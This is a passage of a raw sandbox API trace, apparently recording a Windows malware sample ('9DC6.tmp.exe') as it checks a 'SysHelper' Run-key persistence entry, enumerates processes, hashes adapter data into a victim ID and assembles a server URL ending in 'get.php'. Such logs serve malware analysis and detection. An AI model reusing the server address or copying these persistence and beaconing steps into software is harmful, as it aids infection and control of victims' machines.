HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9dc6.tmp.exe")) returned 0x5d [0108.752] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd") returned 1 [0108.752] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7a248f0 [0108.752] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe\" --AutoStart" [0108.752] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe\" --AutoStart", pNumArgs=0x18bc90 | out: pNumArgs=0x18bc90) returned 0x7a22100*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe" [0108.752] lstrcpyW (in: lpString1=0x18c940, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe" [0108.752] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe\" --AutoStart" [0108.752] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe\" --AutoStart", pNumArgs=0x18bc2c | out: pNumArgs=0x18bc2c) returned 0x7a22100*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe" [0108.752] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe") returned="9DC6.tmp.exe" [0108.752] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x754f0000 [0108.753] GetProcAddress (hModule=0x754f0000, lpProcName="EnumProcesses") returned 0x0 [0108.753] GetProcAddress (hModule=0x754f0000, lpProcName="EnumProcessModules") returned 0x0 [0108.753] GetProcAddress (hModule=0x754f0000, lpProcName="GetModuleBaseNameW") returned 0x0 [0108.753] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x75d60000 [0108.754] GetProcAddress (hModule=0x75d60000, lpProcName="EnumProcesses") returned 0x75d61544 [0108.755] GetProcAddress (hModule=0x75d60000, lpProcName="EnumProcessModules") returned 0x75d61408 [0108.755] GetProcAddress (hModule=0x75d60000, lpProcName="GetModuleBaseNameW") returned 0x75d6152c [0108.755] EnumProcesses (in: lpidProcess=0x181428, cb=0xa000, lpcbNeeded=0x18bc38 | out: lpidProcess=0x181428, lpcbNeeded=0x18bc38) returned 1 [0108.757] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0108.757] CloseHandle (hObject=0x0) returned 0 [0108.757] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0108.757] CloseHandle (hObject=0x0) returned 0 [0108.757] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0108.757] CloseHandle (hObject=0x0) returned 0 [0108.757] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0108.757] CloseHandle (hObject=0x0) returned 0 [0108.757] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0108.758] CloseHandle (hObject=0x0) returned 0 [0108.758] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0108.758] CloseHandle (hObject=0x0) returned 0 [0108.758] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0108.758] CloseHandle (hObject=0x0) returned 0 [0108.758] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c8) returned 0x0 [0108.758] CloseHandle (hObject=0x0) returned 0 [0108.758] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d0) returned 0x0 [0108.758] CloseHandle (hObject=0x0) returned 0 [0108.758] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d8) returned 0x0 [0108.758] CloseHandle (hObject=0x0) returned 0 [0108.758] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0108.758] CloseHandle (hObject=0x0) returned 0 [0108.758] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0108.758] CloseHandle (hObject=0x0) returned 0 [0108.758] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0108.758] CloseHandle (hObject=0x0) returned 0 [0108.758] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x33c) returned 0x0 [0108.758] CloseHandle (hObject=0x0) returned 0 [0108.758] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x374) returned 0x0 [0108.758] CloseHandle (hObject=0x0) returned 0 [0108.758] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3b0) returned 0x0 [0108.758] CloseHandle (hObject=0x0) returned 0 [0108.758] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf0) returned 0x0 [0108.758] CloseHandle (hObject=0x0) returned 0 [0108.759] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0108.759] CloseHandle (hObject=0x0) returned 0 [0108.759] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x444) returned 0x5a4 [0108.759] EnumProcessModules (in: hProcess=0x5a4, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 0 [0108.759] CloseHandle (hObject=0x5a4) returned 1 [0108.759] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x44c) returned 0x5a4 [0108.759] EnumProcessModules (in: hProcess=0x5a4, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 0 [0108.759] CloseHandle (hObject=0x5a4) returned 1 [0108.759] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x5a4 [0108.759] EnumProcessModules (in: hProcess=0x5a4, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 0 [0108.759] CloseHandle (hObject=0x5a4) returned 1 [0108.759] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x484) returned 0x0 [0108.759] CloseHandle (hObject=0x0) returned 0 [0108.759] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4c0) returned 0x5a4 [0108.759] EnumProcessModules (in: hProcess=0x5a4, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 0 [0108.759] CloseHandle (hObject=0x5a4) returned 1 [0108.759] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4dc) returned 0x0 [0108.760] CloseHandle (hObject=0x0) returned 0 [0108.760] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x544) returned 0x5a4 [0108.760] EnumProcessModules (in: hProcess=0x5a4, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0108.761] GetModuleBaseNameW (in: hProcess=0x5a4, hModule=0x400000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="9DC6.tmp.exe") returned 0xc [0108.761] CloseHandle (hObject=0x5a4) returned 1 [0108.761] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x578) returned 0x5a4 [0108.761] EnumProcessModules (in: hProcess=0x5a4, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0108.762] GetModuleBaseNameW (in: hProcess=0x5a4, hModule=0x400000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="reader_sl.exe") returned 0xd [0108.762] CloseHandle (hObject=0x5a4) returned 1 [0108.762] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x55c) returned 0x5a4 [0108.762] EnumProcessModules (in: hProcess=0x5a4, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 0 [0108.762] CloseHandle (hObject=0x5a4) returned 1 [0108.762] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x21c) returned 0x5a4 [0108.762] EnumProcessModules (in: hProcess=0x5a4, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 0 [0108.762] CloseHandle (hObject=0x5a4) returned 1 [0108.762] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5b8) returned 0x5a4 [0108.762] EnumProcessModules (in: hProcess=0x5a4, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 0 [0108.763] CloseHandle (hObject=0x5a4) returned 1 [0108.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x28) returned 0x50c4f50 [0108.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x50ee148 [0108.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a07150 [0108.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x50ee5e0 [0108.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x50ee848 [0108.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a25108 [0108.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a25370 [0108.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a255d8 [0108.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a25840 [0108.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a25aa8 [0108.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a25d10 [0108.763] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18bc28 | out: phkResult=0x18bc28*=0x5a4) returned 0x0 [0108.763] RegQueryValueExW (in: hKey=0x5a4, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18bc24, lpData=0x18a350, lpcbData=0x18bc08*=0x400 | out: lpType=0x18bc24*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe\" --AutoStart", lpcbData=0x18bc08*=0xd8) returned 0x0 [0108.763] RegCloseKey (hKey=0x5a4) returned 0x0 [0108.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a221e8 [0108.763] lstrlenA (lpString="\" --AutoStart") returned 13 [0108.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20740 [0108.763] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a221e8 | out: hHeap=0x5010000) returned 1 [0108.763] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe") returned 1 [0108.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20808 [0108.764] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20740 | out: hHeap=0x5010000) returned 1 [0108.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x28) returned 0x7a43ea0 [0108.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a1b0e8 [0108.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a1b350 [0108.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a1b5b8 [0108.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a1b820 [0108.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a1ba88 [0108.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a1bcf0 [0108.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3b060 [0108.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3b2c8 [0108.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3b530 [0108.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3b798 [0108.764] lstrlenA (lpString="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned 54 [0108.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x6e) returned 0x7a0cde0 [0108.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7a1b0e8, cbMultiByte=-1, lpWideCharStr=0x7a0cde0, cchWideChar=55 | out: lpWideCharStr="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned 55 [0108.764] lstrcatW (in: lpString1="", lpString2="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" [0108.764] lstrlenA (lpString="") returned 0 [0108.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x2) returned 0x79bdf78 [0108.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7a1b350, cbMultiByte=-1, lpWideCharStr=0x79bdf78, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0108.764] lstrcatW (in: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php", lpString2="" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" [0108.764] lstrlenA (lpString="") returned 0 [0108.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x2) returned 0x79bdf68 [0108.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7a1b5b8, cbMultiByte=-1, lpWideCharStr=0x79bdf68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0108.764] lstrcatW (in: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php", lpString2="" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" [0108.764] lstrlenA (lpString="") returned 0 [0108.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x2) returned 0x79bdf88 [0108.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7a1b820, cbMultiByte=-1, lpWideCharStr=0x79bdf88, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0108.764] lstrcatW (in: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php", lpString2="" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" [0108.764] lstrlenA (lpString="") returned 0 [0108.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x2) returned 0x79bdf98 [0108.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7a1ba88, cbMultiByte=-1, lpWideCharStr=0x79bdf98, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0108.764] lstrcatW (in: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php", lpString2="" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" [0108.765] lstrlenA (lpString="") returned 0 [0108.765] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x2) returned 0x79be028 [0108.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7a1bcf0, cbMultiByte=-1, lpWideCharStr=0x79be028, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0108.765] lstrcatW (in: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php", lpString2="" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" [0108.765] lstrlenA (lpString="") returned 0 [0108.765] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x2) returned 0x79be008 [0108.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7a3b060, cbMultiByte=-1, lpWideCharStr=0x79be008, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0108.765] lstrcatW (in: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php", lpString2="" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" [0108.765] lstrlenA (lpString="") returned 0 [0108.765] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x2) returned 0x79bdfc8 [0108.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7a3b2c8, cbMultiByte=-1, lpWideCharStr=0x79bdfc8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0108.765] lstrcatW (in: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php", lpString2="" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" [0108.765] lstrlenA (lpString="") returned 0 [0108.765] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x2) returned 0x79bdfb8 [0108.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7a3b530, cbMultiByte=-1, lpWideCharStr=0x79bdfb8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0108.765] lstrcatW (in: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php", lpString2="" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" [0108.765] lstrlenA (lpString="") returned 0 [0108.765] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x2) returned 0x79bdfd8 [0108.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7a3b798, cbMultiByte=-1, lpWideCharStr=0x79bdfd8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0108.765] lstrcatW (in: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php", lpString2="" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php" [0108.765] lstrlenW (lpString="") returned 0 [0108.765] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x12) returned 0x50b2500 [0108.765] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x288) returned 0x7a1bf58 [0108.765] GetAdaptersInfo (in: AdapterInfo=0x7a1bf58, SizePointer=0x18bbec | out: AdapterInfo=0x7a1bf58, SizePointer=0x18bbec) returned 0x0 [0108.776] GetAdaptersInfo (in: AdapterInfo=0x7a1bf58, SizePointer=0x18bbec | out: AdapterInfo=0x7a1bf58, SizePointer=0x18bbec) returned 0x0 [0108.778] GetLastError () returned 0x0 [0108.778] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x1000) returned 0x7a1c1e8 [0108.778] GetLastError () returned 0x0 [0108.778] GetLastError () returned 0x0 [0108.784] CryptAcquireContextW (in: phProv=0x18bbbc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18bbbc*=0x50ebfa0) returned 1 [0108.785] CryptCreateHash (in: hProv=0x50ebfa0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18bbc4 | out: phHash=0x18bbc4) returned 1 [0108.785] CryptHashData (hHash=0x50c7c58, pbData=0x7a0ea98, dwDataLen=0x11, dwFlags=0x0) returned 1 [0108.785] CryptGetHashParam (in: hHash=0x50c7c58, dwParam=0x2, pbData=0x0, pdwDataLen=0x18bbc0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18bbc0) returned 1 [0108.785] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13140 [0108.785] CryptGetHashParam (in: hHash=0x50c7c58, dwParam=0x2, pbData=0x7a13140, pdwDataLen=0x18bbc0, dwFlags=0x0 | out: pbData=0x7a13140, pdwDataLen=0x18bbc0) returned 1 [0108.785] GetLastError () returned 0x0 [0108.785] CryptDestroyHash (hHash=0x50c7c58) returned 1 [0108.785] CryptReleaseContext (hProv=0x50ebfa0, dwFlags=0x0) returned 1 [0108.785] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0ea98 | out: hHeap=0x5010000) returned 1 [0108.785] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05a58 [0108.785] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5101758 | out: hHeap=0x5010000) returned 1 [0108.785] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50c8fe8 | out: hHeap=0x5010000) returned 1 [0108.785] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x414d40, lpParameter=0x45d9d0, dwCreationFlags=0x0, lpThreadId=0x45d9bc | out: lpThreadId=0x45d9bc*=0x500) returned 0x5b0 [0109.006] WaitForSingleObject (hHandle=0x5b0, dwMilliseconds=0xffffffff) returned 0x0 [0110.321] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}") returned 0x5b4 [0110.321] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x28) returned 0x7a43ba0 [0110.321] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3ba00 [0110.321] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3bc68 [0110.321] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3bed0 [0110.321] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3c138 [0110.321] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3c3a0 [0110.321] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3c608 [0110.321] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3c870 [0110.321] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3cad8 [0110.321] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3cd40 [0110.321] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3cfa8 [0110.321] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c180 [0110.321] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7a1d1f0 [0110.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi", cchWideChar=-1, lpMultiByteStr=0x7a1d1f0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi", lpUsedDefaultChar=0x0) returned 41 [0110.321] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7a1d620 [0110.321] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1d1f0 | out: hHeap=0x5010000) returned 1 [0110.321] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c180 | out: hHeap=0x5010000) returned 1 [0110.321] CryptAcquireContextW (in: phProv=0x18bc2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18bc2c*=0x50ebfa0) returned 1 [0110.322] CryptCreateHash (in: hProv=0x50ebfa0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18bc30 | out: phHash=0x18bc30) returned 1 [0110.322] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi") returned 40 [0110.322] CryptHashData (hHash=0x7a42720, pbData=0x7a1d620, dwDataLen=0x28, dwFlags=0x0) returned 1 [0110.322] CryptGetHashParam (in: hHash=0x7a42720, dwParam=0x2, pbData=0x0, pdwDataLen=0x18bc34, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18bc34) returned 1 [0110.322] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13140 [0110.322] CryptGetHashParam (in: hHash=0x7a42720, dwParam=0x2, pbData=0x7a13140, pdwDataLen=0x18bc34, dwFlags=0x0 | out: pbData=0x7a13140, pdwDataLen=0x18bc34) returned 1 [0110.322] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x34) returned 0x7a426a0 [0110.322] GetLastError () returned 0x0 [0110.323] lstrcatA (in: lpString1="", lpString2="36" | out: lpString1="36") returned="36" [0110.323] GetLastError () returned 0x0 [0110.323] lstrcatA (in: lpString1="36", lpString2="F8" | out: lpString1="36F8") returned="36F8" [0110.323] GetLastError () returned 0x0 [0110.323] lstrcatA (in: lpString1="36F8", lpString2="4F" | out: lpString1="36F84F") returned="36F84F" [0110.323] GetLastError () returned 0x0 [0110.323] lstrcatA (in: lpString1="36F84F", lpString2="8D" | out: lpString1="36F84F8D") returned="36F84F8D" [0110.323] GetLastError () returned 0x0 [0110.323] lstrcatA (in: lpString1="36F84F8D", lpString2="6D" | out: lpString1="36F84F8D6D") returned="36F84F8D6D" [0110.323] GetLastError () returned 0x0 [0110.323] lstrcatA (in: lpString1="36F84F8D6D", lpString2="74" | out: lpString1="36F84F8D6D74") returned="36F84F8D6D74" [0110.323] GetLastError () returned 0x0 [0110.323] lstrcatA (in: lpString1="36F84F8D6D74", lpString2="C1" | out: lpString1="36F84F8D6D74C1") returned="36F84F8D6D74C1" [0110.323] GetLastError () returned 0x0 [0110.323] lstrcatA (in: lpString1="36F84F8D6D74C1", lpString2="EA" | out: lpString1="36F84F8D6D74C1EA") returned="36F84F8D6D74C1EA" [0110.323] GetLastError () returned 0x0 [0110.323] lstrcatA (in: lpString1="36F84F8D6D74C1EA", lpString2="AF" | out: 